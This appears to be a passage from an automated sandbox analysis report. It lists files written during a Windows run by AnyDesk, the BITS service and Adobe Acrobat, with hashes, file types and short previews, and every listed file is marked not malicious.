SHA-512:	ED10EAD047531664246FFD3A161792AFA06D4EC6E5BE00C32AAA262EB3264EA0A07D763C30497665D204AE759E7439A848E977A369ACBDE1C7EB9B856826D311
Malicious:	false
Preview:	ad.anynet.fpr=73d199bc12ff3cd2af1d4ed4d3fbabdef676b003.ad.anynet.relay.fatal_result=1.0.ad.anynet.relay.state=0.ad.inst.id=903b97651dca34e89fbbb06a6c888b2b.ad.security.frontend_clipboard=1.ad.security.frontend_clipboard_files=1.ad.security.frontend_clipboard_version=1.ad.security.permission_profiles._default.permissions.sas=1.ad.security.permission_profiles._unattended_access.permissions.sas=1.ad.security.permission_profiles._unattended_access.pwd=76a39dcf8d0a7ce27a39bb385345e65b60e7431933dba43f49596d04fa9424cc.ad.security.permission_profiles._unattended_access.salt=166fcefde9e58f6deb198cbeb4c2ddba.ad.security.permission_profiles.version=1.ad.security.update_channel=main.ad.security.update_type=0.ad.security.update_version=1.

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067062743525632
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq2:2JIB/wUKUKQncEmYRTwh0a
MD5:	0A1AC327FD60AB381B781EF26FDC0891
SHA1:	7FC109F37BD7535D2C6A081877C21C5DBA0C1718
SHA-256:	E817104DF82AFAC296BA9C5E5075A9339EC41081CAEDB1D3DB54F03ABF132175
SHA-512:	736C2BB44CF97E94292EB4BF7748626B8B9F23196C306D5ED4641EEA6027845B32A910577899556664F31CA7616BC3780B74EA4549A81B8686A8D48E5DDFB1A4
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x649fe6a9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900077507766705
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:TazaPvgurTd42UgSii
MD5:	4895702510527D7D79FEC69D04E6DA7D
SHA1:	1926C235B7444BE4AB5B0E992BB776C5622C3501
SHA-256:	76B5B08CCB53442A91938C2842FBA17C037B137155B631BCA4DB98618D468DC9
SHA-512:	B510199DB109E88FE80EB07F79D234B0422AAD7FCA61B529016B71D9B24FA3AC5D35CBA452F593341DCBCD8A8BB31411610D309CD74836D3F97ADFFA8C8B51F7
Malicious:	false
Preview:	d..... ...............X\...;...{......................0.`.....42...{5..5...}S.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................@..5...}/....................*.5...}S..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08184260888574885
Encrypted:	false
SSDEEP:	3:JLUYeF+tkbjCqt/57Dek3J0DreX//allEqW3l/TjzzQ/t:hUzFLjbR3tXX/Gmd8/
MD5:	134D84932FDB0CB5539A13B383B81411
SHA1:	FFEF49D784F158A4B4E38E228F53548C29D6B3CF
SHA-256:	451A20C834852D04806FC46B3FC4104D7924B5544A3E2137B7AFF8B5CA77E342
SHA-512:	98B27EA1315E44AC7BDF9A70378F20024F4C24F6298B56AB9C15DA078D4789609766E584F5419D1D1D8A61FD4DFD073D179BAB305537A4283FE990C6E84AF7C0
Malicious:	false
Preview:	...Q.....................................;...{...5...}S.42...{5.........42...{5.42...{5...Y.42...{59...................*.5...}S.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.235915450993715
Encrypted:	false
SSDEEP:	6:iOxRCFUGFIq2PcNwi2nKuAl9OmbnIFUtzR6FZZmw9RNFkwOcNwi2nKuAl9OmbjLJ:7XGUjvLZHAahFUt9uZ/zNF54ZHAaSJ
MD5:	99EAA4D4AB3C5B2E7F7AD21F2337EA4C
SHA1:	19F565CAD2E1A4130A8E58B0C8596C3C0197F47B
SHA-256:	B6CB42090741B85BA13E5AD77AB6F1D0B0DBC2391C338068D5DDEEBCACB31C3D
SHA-512:	37169D6535FDA73134968AFB451FD3DB1121BBC5802E997EA395141C0A3045C2BA55BC31446971EC6C14F550B4217EEA36B0CE0C32C32E93179A61948B1A0EC2
Malicious:	false
Preview:	2025/01/08-09:53:22.427 1cd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/08-09:53:22.430 1cd4 Recovering log #3.2025/01/08-09:53:22.431 1cd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.235915450993715
Encrypted:	false
SSDEEP:	6:iOxRCFUGFIq2PcNwi2nKuAl9OmbnIFUtzR6FZZmw9RNFkwOcNwi2nKuAl9OmbjLJ:7XGUjvLZHAahFUt9uZ/zNF54ZHAaSJ
MD5:	99EAA4D4AB3C5B2E7F7AD21F2337EA4C
SHA1:	19F565CAD2E1A4130A8E58B0C8596C3C0197F47B
SHA-256:	B6CB42090741B85BA13E5AD77AB6F1D0B0DBC2391C338068D5DDEEBCACB31C3D
SHA-512:	37169D6535FDA73134968AFB451FD3DB1121BBC5802E997EA395141C0A3045C2BA55BC31446971EC6C14F550B4217EEA36B0CE0C32C32E93179A61948B1A0EC2
Malicious:	false
Preview:	2025/01/08-09:53:22.427 1cd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/08-09:53:22.430 1cd4 Recovering log #3.2025/01/08-09:53:22.431 1cd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.18483051385253
Encrypted:	false
SSDEEP:	6:iOxUgq2PcNwi2nKuAl9Ombzo2jMGIFUtzoZmw9wkwOcNwi2nKuAl9Ombzo2jMmLJ:7hvLZHAa8uFUts/e54ZHAa8RJ
MD5:	B358F12C4CBF70F5BC49B619C84C501F
SHA1:	AF9431687FE1D7915BD718ABD628560EEE41EC7E
SHA-256:	00CBC9B5F52CDBFF33796891441DE2592E0AB5036E74558C069DA17DE9DCA4C8
SHA-512:	D61F06A19272EED746ADB9543899D94F1A9D5C23C38FE410FDB5BA75D12E3553DF62D1FCB52CB7F8F901DBDE3040D65CE1ECAFEA52897A3B8228DE341501393E
Malicious:	false
Preview:	2025/01/08-09:53:22.725 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/08-09:53:22.727 1db0 Recovering log #3.2025/01/08-09:53:22.727 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.18483051385253
Encrypted:	false
SSDEEP:	6:iOxUgq2PcNwi2nKuAl9Ombzo2jMGIFUtzoZmw9wkwOcNwi2nKuAl9Ombzo2jMmLJ:7hvLZHAa8uFUts/e54ZHAa8RJ
MD5:	B358F12C4CBF70F5BC49B619C84C501F
SHA1:	AF9431687FE1D7915BD718ABD628560EEE41EC7E
SHA-256:	00CBC9B5F52CDBFF33796891441DE2592E0AB5036E74558C069DA17DE9DCA4C8
SHA-512:	D61F06A19272EED746ADB9543899D94F1A9D5C23C38FE410FDB5BA75D12E3553DF62D1FCB52CB7F8F901DBDE3040D65CE1ECAFEA52897A3B8228DE341501393E
Malicious:	false
Preview:	2025/01/08-09:53:22.725 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/08-09:53:22.727 1db0 Recovering log #3.2025/01/08-09:53:22.727 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.970025147355236
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpsBdOg2HAcaq3QYiubSpDyP7E4TX:Y2sRdsjdMHr3QYhbSpDa7n7
MD5:	6BA4DD40AD9AC2E849C4BBFCE618C61B
SHA1:	0C5A84D0DE105AD19F6737CA09C35DA86A78C53E
SHA-256:	73C6AA9EFAB9D2AE8A3C3AA2DE23604EE562B5CB89F880A0E75CA6CC0871E551
SHA-512:	9C64D1857551CE7C9EB40B353377171695E8F14464BD2D5B08D8700E814B940263FB12A241FA34C7B88425A61C1643AE47F6A6C1FD970EEBD167A20ED9FFCFC6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13380908014976301","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144740},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c72c8ba3-9e77-485f-9d55-6b70fce7c4b7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.970025147355236
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqpsBdOg2HAcaq3QYiubSpDyP7E4TX:Y2sRdsjdMHr3QYhbSpDa7n7
MD5:	6BA4DD40AD9AC2E849C4BBFCE618C61B
SHA1:	0C5A84D0DE105AD19F6737CA09C35DA86A78C53E
SHA-256:	73C6AA9EFAB9D2AE8A3C3AA2DE23604EE562B5CB89F880A0E75CA6CC0871E551
SHA-512:	9C64D1857551CE7C9EB40B353377171695E8F14464BD2D5B08D8700E814B940263FB12A241FA34C7B88425A61C1643AE47F6A6C1FD970EEBD167A20ED9FFCFC6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13380908014976301","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144740},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.235199168155849
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP5jYZ:CwNw1GHqPySfkcigoO3h28ytP5jYZ
MD5:	4DD098C56D589CA6929E30F3590810D6
SHA1:	2C605DB4C9E3F52C0DAC63DD04737FC879F2E8D9
SHA-256:	747DFED609BF7D9FBC69AE13BBA02AAD2BE9449AA362D0CA96EF272CBDF2FA00
SHA-512:	19DA89ADE0E7A7E236DB349669AD76EBC2E2BDBA15DDA91F383602FE8F267052D016C3DF29BEFC2317EA9AD4BEC875464E92036E1528281082223E6696553C4A
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.156352867354767
Encrypted:	false
SSDEEP:	6:iOfgq2PcNwi2nKuAl9OmbzNMxIFUtv+Zmw5kwOcNwi2nKuAl9OmbzNMFLJ:7fgvLZHAa8jFUtv+/554ZHAa84J
MD5:	DE82784425ED8D9FE9C5091764F53E00
SHA1:	EF8E18C685ABA861B7142ECA17AF9B264033A340
SHA-256:	BD0C40D830C84FCA53F6FF01292F60E9D47D9E23F1B2765308219DC0F873082D
SHA-512:	53E964158F8994742431059786CB735D9CD2E2FAF716CABCFB56CEFDFB196BE6C46E253D9D73B25921ED9E9383CBA847886B70BD58C00CC38378E415A476A8FC
Malicious:	false
Preview:	2025/01/08-09:53:23.028 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/08-09:53:23.030 1db0 Recovering log #3.2025/01/08-09:53:23.031 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.156352867354767
Encrypted:	false
SSDEEP:	6:iOfgq2PcNwi2nKuAl9OmbzNMxIFUtv+Zmw5kwOcNwi2nKuAl9OmbzNMFLJ:7fgvLZHAa8jFUtv+/554ZHAa84J
MD5:	DE82784425ED8D9FE9C5091764F53E00
SHA1:	EF8E18C685ABA861B7142ECA17AF9B264033A340
SHA-256:	BD0C40D830C84FCA53F6FF01292F60E9D47D9E23F1B2765308219DC0F873082D
SHA-512:	53E964158F8994742431059786CB735D9CD2E2FAF716CABCFB56CEFDFB196BE6C46E253D9D73B25921ED9E9383CBA847886B70BD58C00CC38378E415A476A8FC
Malicious:	false
Preview:	2025/01/08-09:53:23.028 1db0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/08-09:53:23.030 1db0 Recovering log #3.2025/01/08-09:53:23.031 1db0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250108145326Z-159.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 123 x -152 x 32, cbSize 74838, bits offset 54
Category:	dropped
Size (bytes):	74838
Entropy (8bit):	2.073970012606302
Encrypted:	false
SSDEEP:	768:WNBfdjAtFh6ieAnXChol2wRyvPfJooe+6sbQ:2UFh6PTQ
MD5:	A989DAA19E92E4BA8FD4148062A8A5AF
SHA1:	7CF31A863FA4FB49BF20D31CCA2D465B583D5596
SHA-256:	DCAF597F8FF16A7A574679899D58DDB312BF829267FF2E31197AC0CC4C8CA8B9
SHA-512:	F8AD68E829BD0E98BA833A9E89145C309AD0A039C95C17653277EF0B785C4DF9B16FBE4445B94D4FF147873B3DBF5246BD64011901D1E3683B54D804083F74F9
Malicious:	false
Preview:	BMV$......6...(...{...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.439065145436308
Encrypted:	false
SSDEEP:	384:CeXci5GAiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:QsurVgazUpUTTGt
MD5:	3556E2CC7B155830B4B855CEA587A187
SHA1:	4DE9279F209E7C2B1C872C25B2855FFF196970D2
SHA-256:	28CE0486B577F78B28E82572586FE89A4CAFB13FC380FA46BA437859F1967825
SHA-512:	F94E20475DE19B5A30AED16F202E147000BB5B9D6B4F0F2EA5F8F8142377D326D6272D57DECDAF89CD411FBBD387E378AF15AF4BC5CF8E8464F56C0DB4B1D7B2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.215281015905767
Encrypted:	false
SSDEEP:	24:7+t+j6wKfqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MzL:7MmWfq/mFTIF3XmHjBoGGR+jMz+LhW
MD5:	280D975D389E840DC5E72A45FC3493A9
SHA1:	18C74152A4E14D695C0CD224598D04C77417DD2B
SHA-256:	0BE49BD28DCCAD052B9F9C6C2E80775037E2FF5D357B15BF887C0124E2298FCA
SHA-512:	A0226AFFDA4F5A1A26A73998CCD12F35422814A07DF4AD13CDDAEA6406E153BA5E7AC6EDA937F7EB62EBC8DDF9CAB0006D144BF7375A905588B2EF0ECDD4DB73
Malicious:	false
Preview:	.... .c....../.B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7673182398396405
Encrypted:	false
SSDEEP:	3:kkFklcjTfllXlE/HT8kxuhttNNX8RolJuRdxLlGB9lQRYwpDdt:kKFjcT84u3NMa8RdWBwRd
MD5:	5C396EA8A3359EC9103494EEFA4931AC
SHA1:	5E0086B49A2C3470131DF67F1A67AA4A1E2F03C8
SHA-256:	1AD9FC417DB0A008B9E809D4E1C9CAF9A1512BD45001381E1F4E9D52AC44E14A
SHA-512:	D5915B8C46E009F6B86B180DFCCD93259379441DE7ECBCEE96847A89232D0DC69CD31D128B047E63CD088041406EBD2529B9D59792114D43E2CB73EAAAD13E6A
Malicious:	false
Preview:	p...... ............a..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.234088949531399
Encrypted:	false
SSDEEP:	6:kKKi9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ydDImsLNkPlE99SNxAhUe/3
MD5:	7A0E67BA497D163B784833B4412B5CAE
SHA1:	6D2BCE08BE7D755367DCB85FFE9CA680B0ACA68B
SHA-256:	21BA7B44F06B3FB067DAC10061EDB9EC2D54F535B15E156C2DD0DB08928FCAB8
SHA-512:	FB355C48EF235E4EE912657CDCC8E5E12994A9CAAA463FD034081AC68143EA05F10D5DDB8DB68FE1DB20CBB2639B34A0FB186297A7FD1761515C80DD2FB7E52E
Malicious:	false
Preview:	p...... ........S..<.a..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3396

Download File

